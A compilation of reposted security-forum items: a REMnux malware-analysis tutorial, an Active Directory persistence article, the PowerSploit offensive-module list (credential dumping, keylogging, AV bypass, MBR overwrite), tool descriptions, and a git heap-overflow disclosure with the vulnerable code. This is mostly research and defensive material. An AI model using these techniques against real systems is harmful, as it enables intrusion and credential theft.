want to be competitive and serve their customers. How can technology leaders play a role? Technology innovation and influence must occur in three areas to support 5G security, safety, and privacy. Develop architectures and platforms to embed security and trust into the foundations of 5G connected devices and the back-end infrastructures that will handle the vast amounts of data from those devices. Influence industry best practices and collaboration to establish robust frameworks and technology standards that implement strong security, safety, and privacy principles. Intel’s automotive team is a great example: Security recommendations and an industry consortium are driving the development of best practices. Deliver best-in-class security software solutions to protect from rapidly evolving threats on devices and in applications. Software has the greatest flexibility to attune to new threats and the risk appetite of how devices are used. These solutions will be tailored to run within potentially constrained computing environments for small or fixed-function devices as well as on the manageability infrastructure that provides oversight to groups of systems. 5G is coming and brings with it tremendous advancements to connect more and smaller devices to our electronic ecosystem. This ability opens unforeseen opportunities as well as risks. To reap the benefits and minimize the risks, technology leaders and security professionals must work in concert now to make the foundations and subsequent implementations of 5G networking safe, private, and secure. Sursa: https://blogs.mcafee.com/mcafee-labs/5g-networks-pose-cyber-risks-opportunities/

REMNUX V6 FOR MALWARE ANALYSIS (PART 2): STATIC FILE ANALAYIS Introduction In this post, we’ll continue exploring some of the helpful capabilities included in REMnux v6. Be sure to regularly update your REMnux VM by running the command update-remnux. Analyzing suspect files can be overwhelming because there are often numerous paths to explore, and as you continue to observe activity and gather data, the additional areas of analysis seem to explode exponentially. One approach to guide your analysis is to focus first on answering key questions. Another (likely complimentary) approach is to apply the scientific method where you: Make an observation. Generate a hypothesis based on that observation. Test the hypothesis. Modify the hypothesis based on the outcome of the test and rerun the test. Static file analysis, where you learn about a suspect file without launching it, can help generate observations that fuel this process. As a reminder, static file analysis typically results in information such as file and section hashes, compile times, extracted strings, library and function dependencies, and digital signature information. Using the scientific method described above, your analysis of a suspect file may involve the following sequence of activities: As part of your static analysis process, you extract the ASCII strings from a file and observe the text “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run”. You hypothesize that the suspect file uses this registry key to maintain persistence on a victim machine. You run the sample within a Windows 7 virtual machine and realize that this registry key is never modified. You dig deeper via code analysis and realize a Run key is only created if the victim is a Windows XP machine. You can now modify your hypothesis to specify the Windows XP caveat, rerun the test in a Windows XP VM, and confirm your theory. In doing so, you’ve performed focused analysis, learned about the sample’s persistence mechanism (which can be translated to an IOC), and identified an associated constraint. Static file analysis is challenging, not because it is technically difficult, but because it is so hard to resist double-clicking immediately. I feel your pain, the double-click is my favorite part too. However, it is worth developing the discipline to complete a static file review before executing the sample because it fosters methodical analysis and produces tangible results. REMnux includes some great tools to perform static analysis, including the ones listed here. This post will highlight just a few of my favorites. pecheck.py pecheck.py, written by Didier Stevens, is a wrapper for the Python pefile module used to parse Windows PE files. Let’s explore this tool by analyzing the BACKSPACE backdoor malware described in FireEye’s APT 30 report. If you want to follow along, you can download the samplehere (password: infected). As shown in the output below, running pecheck.py against the sample returns file hashes and file/section entropy calculations. Entropy is a measure of randomness, and more entropy indicates a higher likelihood of encoded or encrypted data. While this information is helpful, I want to focus on the “Dump Info:” section shown towards the end of the excerpt. This section basically runs the pefile dump_info() function, which parses the entire file and outputs, well, a lot of data (see the complete output here). Figure 1: pecheck.py output Among other information, the output includes the contents of the file’s Import Address Table (IAT), which represents the shared libraries (i.e., DLLs) and functions within those DLLs that the program relies upon: Figure 2: pecheck.py Import Address Table (IAT) output I like the <DLL>.<FUNCTION> format because 1) over time, it can help you remember which functions a DLL contains and 2) you can grep for the DLL name or function name and retrieve the entire line (not the case with output from other tools). In this particular excerpt, we can immediately see some Windows API calls that are often used for malicious purposes. For example, we see references to the CreateToolhelp32Snapshot, Process32First, andProcess32Next functions commonly used by malware to capture a list of running processes and iterate through that list to enumerate activity or target specific programs. We could explore this hypothesis by using a debugger to set breakpoints on these API calls and determine if there is a certain process the code is looking for. Oh, and in case you’re wondering, the hint refers to the potential location of the function within the corresponding DLL – it’s an optimization that, in this case, is not helpful given that all values are zero. In the case a program imports a function by ordinal and not name, this will be indicated clearly: Figure 3: pecheck.py Import Address Table (IAT) output by ordinal Note that since the above functions are imported by ordinal only, the function names (e.g., “ioctlsocket”) will not be listed in the strings output: Figure 4: Grepping for Windows API Beyond viewing the IAT output, pecheck.py output includes section hashes, version information, resource information and the ability to configure a PEiD database to search for packer signatures. While pecheck.py may not be the first script you turn to due to the large volume of output, I prefer it to others because I can extract the information I desire based on grep searches or modifications to the Python code. In addition, dump_info() sometimes results in parsing errors that may reveal other interesting anomalous characteristics associated with the target file. pestr pestr is part of the pev PE file analysis framework, and its primary purpose is to extract strings from Windows executable files. However, it goes beyond the traditional strings tool by providing options to show the offset of a string within a file and the section where it resides. For example, below are output excerpts after running pestr against the file analyzed above, using the –section option to print the section where the respective string is found (see complete outputhere): Figure 4: pestr output #1 Figure 5: pestr output #2 Figure 4 shows the command executed and the beginning of the output. The first few strings are found in the PE header, so they are labeled as appearing in the “none” section. Figure 5 shows strings in the “.rdata” section, including DLL and Windows API function names. The “.rdata” section commonly contains the Import Address Table, which could explain the presence of these strings here. Looking at the pecheck.py output, we can confirm these strings are, in fact, present in the IAT. Perusing the remaining pestr output shows additional strings, including the following: Figure 6: pestr output #3 Note the presence of GetTickCount, a Windows function that returns the number of milliseconds that have passed since the system was started. This is a popular anti-analysis function because it can help detect if too much time has elapsed during code execution (possibly due to debugging activity). Interestingly, pestr ouput reveals this function name is located in the “.data” section, rather than “.rdata” section where the IAT resides. We might hypothesize that this is an attempt by the developer to evade traditional import table analysis by manually calling this function during program execution. We can dig deeper by finding the reference to this string in IDA Pro: Figure 7: IDA Pro string reference While we will not dive into code analysis details in this post, Figure 7 makes it clear that the GetTickCount string reference is indeed used to call the function at runtime using LoadLibraryA and GetProcAddress. readpe.py + pe-carv.py readpe.py can output information such as PE header data, imports and exports. For this post, I’ll highlight its simple ability to detect an overlay. An overlay is data appended to the end of an executable (i.e., it falls outside of any data described in the PE header). Using the following command against a Neshta.A specimen, readpe.py can detect if an overlay exists: Figure 8: readpe.py overlay output Upon detecting an overlay, the next step is to evaluate the contents of this additional data. Malware often includes executable content in the overlay, so you might consider using a tool called pe-carv.py, which is purpose-built to carve out embedded PE files: Figure 9: pe-carv.py extracted file As shown in the figure above, pe-carv.py successfully extracted a file it called 1.exe, and we could proceed with further static file analysis to better understand this embedded content. Closing Thoughts Static analysis can generate useful data about a file, but it can also help direct your reverse engineering efforts. While running the tools mentioned above may get you the information you need, I encourage you to check out the source code and customize it based on your preferences. In particular, if you’re just getting started with Python, tweaking this code can serve as a great introduction and motivate further study. If you would like to learn more about malware analysis strategies, join me at an upcoming SANS FOR610 course. -Anuj Soni Anuj Soni is a Senior Incident Responder at Booz Allen Hamilton, where he leads intrusion investigations and performs forensic and malware analysis to investigate security incidents. He also teaches FOR610: Reverse-Engineering Malware for the SANS Institute. Anuj excels not only in delivering rigorous technical analysis, but also in process development, knowledge management, and team leadership to accelerate incident response efforts. Anuj presents at events including the U.S. Cyber Crime Conference, SANS DFIR Summit, and the Computer and Enterprise Investigations Conference (CEIC). He received his Bachelors and Masters degrees from Carnegie Mellon University. Sursa: http://malwology.com/2016/02/09/remnux-v6-for-malware-analysis-part-2-static-file-analysis/

Trebuie sa dedici vreo 5 minute ca sa vezi de ce nu e bun acel cod, astept o versiune functionala

OpenSSH <= 7.2p1 - xauth Injection https://vulners.com/exploitdb/EDB-ID:39569

require_once 'forum/init.php'; \IPS\Dispatcher\Build::i()->init(); $member = \IPS\Member::loggedIn(); Ce e gresit sau ce sa adaug ca sa fie setat acel cookie?

Rep.: Nu crezi ca vor exista repercursiuni din partea autoritatilor? E.G.: Ba da, la fel cum au existat si in cazul altor hackeri. Uite de exemplu, Team Code, compania lui e la 5 minute de mine. In 2013, am fost la el sa-i cer o slujba. Am vorbit cu el la telefon. Totul a fost ok pana i-am spus cine eram. Dupa aceea a inceput sa imi ceara exploit-uri zero-day (n.r. - un exploit folosit in ziua in care a fost descoperit) Team Code? @Stealth

Updated: https://github.com/NytroRST/NetRipper Changelog Version 1.0.1: Updated project to Visual Studio 2015 Added support for "dynamic" function signatures Updated support for Chrome (tested with Chrome 49) Thread-safe Win32 API hooking

Sneaky Active Directory Persistence #17: Group Policy by Sean Metcalf The content in this post describes a method through which an attacker could persist administrative access to Active Directory after having Domain Admin level rights for about 5 minutes. Complete list of Sneaky Active Directory Persistence Tricks posts This post explores how an attacker could leverage the built-in Active Directory management capability called Group Policy and how to mitigate potential security issues. Group Policy Overview One of the key benefits to Active Directory is its management capability and core to this capability is Group Policy. Group Policy has several parts to it and can be challenging to manage in a large enterprise without third-party tools. Group Policy enables administrators to manage computers and users in Active Directory. Group Policies are saved as Group Policy Objects (GPOs) which are then associated with Active Directory objects such as sites, domains, or organizational units (OUs). Group Policies can include security options, registry keys, software installation, and scripts for startup and shutdown and domain members refresh group policy settings every 90 minutes by default (5 minutes for Domain Controllers). This means that Group Policy enforces configured settings on the targeted computer. In most Active Directory implementations, there is at least one GPO configured on the domain defining mandated password, Kerberos, and domain-wide policies; at least one GPO configured for the Domain Controllers OU; and at least one GPO configured for a servers and workstations OU. These GPOs define security settings specific to the environment and often configure administrative groups, include startup/shutdown scripts, etc.. GPOs can be configured to set organization-defined security requirements at each level, and can be used for installing software and setting file and registry permissions. GPOs only apply to users and computers and can be filtered with groups or more specifically targeted using the Preferences component. The “No Override” option ensures that the settings in a Group Policy are applied even if a GPO closer to the resource has contradicting settings. There are two Group Policy components: 1. The “Group Policy Container” is stored in Active Directory (<DOMAIN>, System, Policies) 2. The files that actually contain the policy settings (collectively referred to as the “Group Policy Template“) are stored in SYSVOL. All domain Group Policies are stored in the following domain share: \\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\ Each Group Policy Object in Active Directory has the following attributes (on the policy object in AD): displayName: This is the name given to the GPO by the creator. gPCFileSysPath: This points to the location in SYSVOL where the associated GPO files (aka “Group Policy Template”) are located. gPCMachineExtensionNames: This attribute lists the GPO client side extensions (CSEs) required to by the client process the machine specific Group Policy settings. gPCUserExtensionNames: This attribute lists the GPO client side extensions (CSEs) required to by the client process the user specific Group Policy settings. Articol complet: https://adsecurity.org/?p=2716

PowerSploit is a collection of Microsoft PowerShell modules that can be used to aid penetration testers during all phases of an assessment. PowerSploit is comprised of the following modules and scripts: CodeExecution Execute code on a target machine. Invoke-DllInjection Injects a Dll into the process ID of your choosing. Invoke-ReflectivePEInjection Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or reflectively injects a DLL in to a remote process. Invoke-Shellcode Injects shellcode into the process ID of your choosing or within PowerShell locally. Invoke-WmiCommand Executes a PowerShell ScriptBlock on a target computer and returns its formatted output using WMI as a C2 channel. ScriptModification Modify and/or prepare scripts for execution on a compromised machine. Out-EncodedCommand Compresses, Base-64 encodes, and generates command-line output for a PowerShell payload script. Out-CompressedDll Compresses, Base-64 encodes, and outputs generated code to load a managed dll in memory. Out-EncryptedScript Encrypts text files/scripts. Remove-Comments Strips comments and extra whitespace from a script. Persistence Add persistence capabilities to a PowerShell script New-UserPersistenceOption Configure user-level persistence options for the Add-Persistence function. New-ElevatedPersistenceOption Configure elevated persistence options for the Add-Persistence function. Add-Persistence Add persistence capabilities to a script. Install-SSP Installs a security support provider (SSP) dll. Get-SecurityPackages Enumerates all loaded security packages (SSPs). AntivirusBypass AV doesn't stand a chance against PowerShell! Find-AVSignature Locates single Byte AV signatures utilizing the same method as DSplit from "class101". Exfiltration All your data belong to me! Invoke-TokenManipulation Lists available logon tokens. Creates processes with other users logon tokens, and impersonates logon tokens in the current thread. Invoke-CredentialInjection Create logons with clear-text credentials without triggering a suspicious Event ID 4648 (Explicit Credential Logon). Invoke-NinjaCopy Copies a file from an NTFS partitioned volume by reading the raw volume and parsing the NTFS structures. Invoke-Mimikatz Reflectively loads Mimikatz 2.0 in memory using PowerShell. Can be used to dump credentials without writing anything to disk. Can be used for any functionality provided with Mimikatz. Get-Keystrokes Logs keys pressed, time and the active window. Get-GPPPassword Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences. Get-TimedScreenshot A function that takes screenshots at a regular interval and saves them to a folder. New-VolumeShadowCopy Creates a new volume shadow copy. Get-VolumeShadowCopy Lists the device paths of all local volume shadow copies. Mount-VolumeShadowCopy Mounts a volume shadow copy. Remove-VolumeShadowCopy Deletes a volume shadow copy. Get-VaultCredential Displays Windows vault credential objects including cleartext web credentials. Out-Minidump Generates a full-memory minidump of a process. Mayhem Cause general mayhem with PowerShell. Set-MasterBootRecord Proof of concept code that overwrites the master boot record with the message of your choice. Set-CriticalProcess Causes your machine to blue screen upon exiting PowerShell. Privesc Tools to help with escalating privileges on a target. PowerUp Clearing house of common privilege escalation checks, along with some weaponization vectors. Recon Tools to aid in the reconnaissance phase of a penetration test. Invoke-Portscan Does a simple port scan using regular sockets, based (pretty) loosely on nmap. Get-HttpStatus Returns the HTTP Status Codes and full URL for specified paths when provided with a dictionary file. Invoke-ReverseDnsLookup Scans an IP address range for DNS PTR records. PowerView PowerView is series of functions that performs network and Windows domain enumeration and exploitation. Recon\Dictionaries A collection of dictionaries used to aid in the reconnaissance phase of a penetration test. Dictionaries were taken from the following sources. admin.txt - http://cirt.net/nikto2/ generic.txt - http://sourceforge.net/projects/yokoso/files/yokoso-0.1/ sharepoint.txt - http://www.stachliu.com/resources/tools/sharepoint-hacking-diggity-project/ License The PowerSploit project and all individual scripts are under the BSD 3-Clause license unless explicitly noted otherwise. Usage Refer to the comment-based help in each individual script for detailed usage information. To install this module, drop the entire PowerSploit folder into one of your module directories. The default PowerShell module paths are listed in the $Env:PSModulePath environment variable. The default per-user module path is: "$Env:HomeDrive$Env:HOMEPATH\Documents\WindowsPowerShell\Modules" The default computer-level module path is: "$Env:windir\System32\WindowsPowerShell\v1.0\Modules" To use the module, type Import-Module PowerSploit To see the commands imported, type Get-Command -Module PowerSploit If you're running PowerShell v3 and you want to remove the annoying 'Do you really want to run scripts downloaded from the Internet' warning, once you've placed PowerSploit into your module path, run the following one-liner:$Env:PSModulePath.Split(';') | % { if ( Test-Path (Join-Path $_ PowerSploit) ) {Get-ChildItem $_ -Recurse | Unblock-File} } For help on each individual command, Get-Help is your friend. Note: The tools contained within this module were all designed such that they can be run individually. Including them in a module simply lends itself to increased portability. Link: https://github.com/PowerShellMafia/PowerSploit

honggfuzz Description A general-purpose, easy-to-use fuzzer with interesting analysis options. See USAGE for more details Supports hardware-based feedback-driven fuzzing (requires Linux and a supported CPU model), also for closed-source binaries It works, at least, under GNU/Linux, FreeBSD, Mac OSX and Android Can fuzz long-lasting processes (e.g. network servers like Apache's httpd and ISC's bind) It's been used to find a few interesting security problems in major software; examples: FreeType 2 project: CVE-2010-2497, CVE-2010-2498, CVE-2010-2499, CVE-2010-2500, CVE-2010-2519, CVE-2010-2520, CVE-2010-2527 Multiple bugs in the libtiff library Multiple bugs in the librsvg library Multiple bugs in the poppler library Multiple exploitable bugs in IDA-Pro ... and more Link: https://github.com/google/honggfuzz

SSLyze Fast and full-featured SSL scanner for Python 2.7. Description SSLyze is a Python tool that can analyze the SSL configuration of a server by connecting to it. It is designed to be fast and comprehensive, and should help organizations and testers identify mis-configurations affecting their SSL servers. Key features include: Multi-processed and multi-threaded scanning: it's very fast. Support for all SSL protocols, from SSL 2.0 to TLS 1.2. NEW: SSLyze can also be used as a library, in order to run scans and process the results directly from Python. Performance testing: session resumption and TLS tickets support. Security testing: weak cipher suites, insecure renegotiation, CRIME, Heartbleed and more. Server certificate validation and revocation checking through OCSP stapling. Support for StartTLS handshakes on SMTP, XMPP, LDAP, POP, IMAP, RDP, PostGres and FTP. Support for client certificates when scanning servers that perform mutual authentication. Scan results can be written to an XML or JSON file for further processing. And much more ! Link: https://github.com/nabla-c0d3/sslyze

The complete guide to HTTP/2 with HAProxy and Nginx by Marcin Ryzycki on 14th March 2016 DEV-OPS With the recent buzz around HTTP/2 and its benefits, it is time to upgrade the infrastructure. This article shows how to install and configure HAProxy (with SSL termination) with Nginx. To ease the process even more, I supply you with ready to use Docker images. TL;DR Skip to Configuration section if you want to skip installation process and you are only interested in configuration details. Why should I care about HTTP/2? There are already many articles out there about HTTP/2 and its benefits - and I encourage you to read them. I'll focus on points which are most important from my point of view. Key benefits of HTTP/2: It is binary (not textual like HTTP/1.1) and uses header compression. No more worries about header and cookies size. Is fully multiplexed, can use one connection for parallelism. Your site performs much better in case it includes plenty of resources (fonts, CSS, JS, image files) because now they are all loaded in single TCP connection, in a non-blocking manner. Domain sharding and asset concatenation becomes an anti-pattern. In short: your website loads much faster. It allows the server to push responses proactively into client caches (no support for that feature in Nginx yet). It uses the new ALPN extension which allows for faster-encrypted connection. The encryption protocol is determined during initial connection. Articol complet: http://m12.io/blog/http-2-with-haproxy-and-nginx-guide

From: Laël Cellier <lael.cellier () laposte net> Date: Tue, 15 Mar 2016 15:55:37 +0100 Hello, original report describing the overflow is here http://pastebin.com/UX2P2jjg On 11/02/2016 16:50, Jeff King wrote this on the git security mailing list: On Thu, Feb 11, 2016 at 02:31:49PM +0100, 'Laël Cellier' via Git Security wrote: Ok the bug works by pushing or cloning a repository with a large filename or a large number of nested trees. [...] The point is affected versions are still shipped as part of many distributions as part of their stable branch, so I think it’s important to get a ᴄᴠᴇ for public awareness. Yes, I do think versions below v2.7.0 have a heap overflow, as you mentioned. But I don't think that is the only problem with path_name(), even in the current version. I'll repeat the code here (the version you posted was indented badly, and I had trouble reading it): -- >8 -- char *path_name(const struct name_path *path, const char *name) { const struct name_path *p; char *n, *m; int nlen = strlen(name); int len = nlen + 1; for (p = path; p; p = p->up) { if (p->elem_len) len += p->elem_len + 1; } n = xmalloc(len); m = n + len - (nlen + 1); memcpy(m, name, nlen + 1); for (p = path; p; p = p->up) { if (p->elem_len) { m -= p->elem_len + 1; memcpy(m, p->elem, p->elem_len); m[p->elem_len] = '/'; } } return n; } -- 8< -- The problem you describe is one where the size of the allocation does not match what strcpy would write. And that's kind-of fixed by moving to memcpy() in 34fa79a6, because at least now the initial value of "len" matches the number of bytes we write (so that number might be totally bogus, but we don't write more than we allocate). But "len" can also change after the fact, due to the loop. If you have a sequence of path components, each less than 2^31, they can sum to a much smaller positive value due to integer overflow (e.g., A/B/C with lengths A=2^31-5, B=2^31-5, C=20 would yield len=10). Then the buffer is too small to fit C, let alone all of the extra components we insert in the second loop. The fix I came up with for this is to convert all of the "int" variables here to "size_t". That doesn't actually _fix_ the problem at all, but does mean on a 64-bit system that you need a 2^64-long path to trigger it, which is impractical. But that doesn't help 32-bit systems (though in practice, I wouldn't be surprised if we barf long before that, as we would be unable to hold the "struct name_path" list in memory). Note that there is also a similar problem in tree-diff.c's path_appendnew(). There we build up the full pathname in a strbuf, which checks for overflow. But we then pass that length as an int and allocate a FLEX_ARRAY struct with it, which can end up too-small. This one is the more interesting of the two, I think, as it triggers via git-log, whereas the path_name() happens only during a repack (so it will hit you _eventually_, but probably not as soon as you've cloned). My solution there was similar: use size_t, which at least means you'd have to allocate petabytes on a 64-bit system to trigger it (much less on a 32-bit system, but _probably_ you'd be saved by malloc failing first). And that's why I dragged my feet on sending those fixes upstream; I don't think they're complete. The complete fix would be to use size_t consistently to store return values for strlen(), and to do integer overflow checks whenever we do computations on size_t. Those of you on this list may recall I posted a series for the latter last year, but it was somewhat invasive. It may be worth resurrecting. I think we could also get rid of path_name() entirely. The sole purpose at this point is to compute the name-hash for pack-objects, which could be done by walking the name_path list rather than re-constructing the whole thing in memory. -Peff Of course everything Peff talked about above is now fixed in git 2.7.1 with the removal of path_name() and the size_t/overflow check in tree-diff.c. It was even fixed earlier for users of github enterprise. However, several months after the last message on this thread, I’m not aware of any Linux distribution that issued a fix for their stable branch. Last week I could contact wikimedia so they could fix their gerrit‑gc server. Bitbucket, GitLab still suffer from that issue (they even use a git version before git/commit/34fa79a6cde56d6d428ab0d3160cb094ebad3305 which is the easiest one to trigger because of strcpy() instead of memcpy() ). while it seems normal the ᴄᴠᴇ details are still unpublished, I definitely can’t deal with every major provider. People surely remember https://www.google.fr/search?tbm=nws&q=cve-2014-9390 breaking the news about a similar issue in that software (which allowed most distros to fix it quikcly). It seems while this threat is more widespread, it definitely lacks advertisement. So some Peoples suggested me to post about it here. Sursa: http://seclists.org/oss-sec/2016/q1/645